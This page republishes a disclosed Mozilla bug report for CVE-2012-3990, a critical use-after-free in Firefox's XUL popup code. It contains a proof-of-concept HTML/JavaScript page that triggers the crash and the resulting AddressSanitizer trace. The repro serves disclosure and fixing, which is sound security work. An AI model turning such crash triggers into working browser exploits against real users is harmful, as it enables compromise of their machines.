Skip to content
Memory corruption Disclosed report CVE-2012-3990

use-after-free in nsIContent::GetNameSpaceID

miaubiz Follow

Originally disclosed on Mozilla

Critical View original
  • Fixed in 19 days
  • Paid in 4 months
  • Disclosed after 19 days
Text
Created attachment 657590
repro case

when I load:

<html>
  <head>
    <style>
      .c0 { content:'A' } 
    </style>
    <script>
      onload = function() {
        document.body.appendChild(document.createElement('td'))
        el0=document.createElement('div')
        document.body.appendChild(el0)
        el1=document.createElement('form')
        document.body.appendChild(el1)
        el2=document.createElement('input')
        el2.setAttribute('type', 'submit')
        el1.appendChild(el2)
        el3=document.createElement('input')
        el3.setAttribute('required', 'A')
        el1.appendChild(el3)  
        el4=document.createElement('input')
        el4.type='file'
        el1.appendChild(el4)
        setTimeout(function() {
          el4.focus()
          setTimeout(function() {
            el4.click()
            el2.setAttribute('required', 'A')
            el0.setAttribute('class', 'c0')
            setTimeout(function() {
              document.designMode='on'
              document.execCommand('italic')
              document.designMode='off'
              setTimeout(function() {
                el2.click()
              }, 100)
            }, 100)
          }, 100)
        }, 100)
      }
    </script>
  </head>
  <body>
  </body>
</html>

I get a crash like so:

==24180== ERROR: AddressSanitizer heap-use-after-free on address 0x7fffbe11ac98 at pc 0x7fffeeb97d74 bp 0x7ffffffedd70 sp 0x7ffffffedd68
READ of size 8 at 0x7fffbe11ac98 thread T0
    #0 0x7fffeeb97d74 in nsIContent::GetNameSpaceID() const /builds/slave/try-lnx64/build/../../../dist/include/nsINodeInfo.h:143
    #1 0x7fffee6f9a37 in nsCOMPtr<nsIDOMEventTarget>::operator=(nsCOMPtr<nsIDOMEventTarget> const&) /builds/slave/try-lnx64/build/../../../../dist/include/nsCOMPtr.h:614
    #2 0x7fffee6fe5fb in nsXULPopupManager::ShowPopupCallback(nsIContent*, nsMenuPopupFrame*, bool, bool) /builds/slave/try-lnx64/build/layout/xul/base/src/nsXULPopupManager.cpp:716
    #3 0x7fffee6fc7a2 in nsXULPopupManager::FirePopupShowingEvent(nsIContent*, bool, bool) /builds/slave/try-lnx64/build/layout/xul/base/src/nsXULPopupManager.cpp:1181
    #4 0x7fffee6fcf36 in nsXULPopupManager::ShowPopup(nsIContent*, nsIContent*, nsAString_internal const&, int, int, bool, bool, bool, nsIDOMEvent*) /builds/slave/try-lnx64/build/layout/xul/base/src/nsXULPopupManager.cpp:568
    #5 0x7fffee691040 in non-virtual thunk to nsPopupBoxObject::OpenPopup(nsIDOMElement*, nsAString_internal const&, int, int, bool, bool, nsIDOMEvent*) /builds/slave/try-lnx64/build/../../../../dist/include/nsCOMPtr.h:407
0x7fffbe11ac98 is located 24 bytes inside of 368-byte region [0x7fffbe11ac80,0x7fffbe11adf0)
freed by thread T0 here:
    #0 0x42ae21 in free ??:0
    #1 0x7fffee92a335 in nsNodeUtils::LastRelease(nsINode*) /builds/slave/try-lnx64/build/content/base/src/nsNodeUtils.cpp:261
    #2 0x7fffee9ff963 in mozilla::dom::FragmentOrElement::Release() /builds/slave/try-lnx64/build/content/base/src/FragmentOrElement.cpp:1853
    #3 0x7fffef02ebc4 in nsGlobalWindow::SetFocusedNode(nsIContent*, unsigned int, bool) /builds/slave/try-lnx64/build/dom/base/nsGlobalWindow.cpp:7765
    #4 0x7fffeefc93be in nsFocusManager::SetFocusInner(nsIContent*, int, bool, bool) 

aurora and nightly affected atleast.

The original report as published on Mozilla's Bugzilla, by miaubiz. Images and videos are our own copies; raw HTML is shown as text. View it on Mozilla's Bugzilla.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

What is known

A critical-severity memory corruption bug in XUL. Mozilla made it public on 20 September 2012 as CVE-2012-3990.

About Memory corruption

Native code reads or writes memory it should not: overflows, use-after-free, type confusion. The core of browser, kernel and parser bugs.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

What is Memory corruption?

Native code reads or writes memory it should not: overflows, use-after-free, type confusion. The core of browser, kernel and parser bugs.

More by miaubiz

View all

10 more disclosed reports, best first.

More from Mozilla

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Memory corruption

The lesson behind this report.

Native code reads or writes memory it should not: overflows, use-after-free, type confusion. The core of browser, kernel and parser bugs.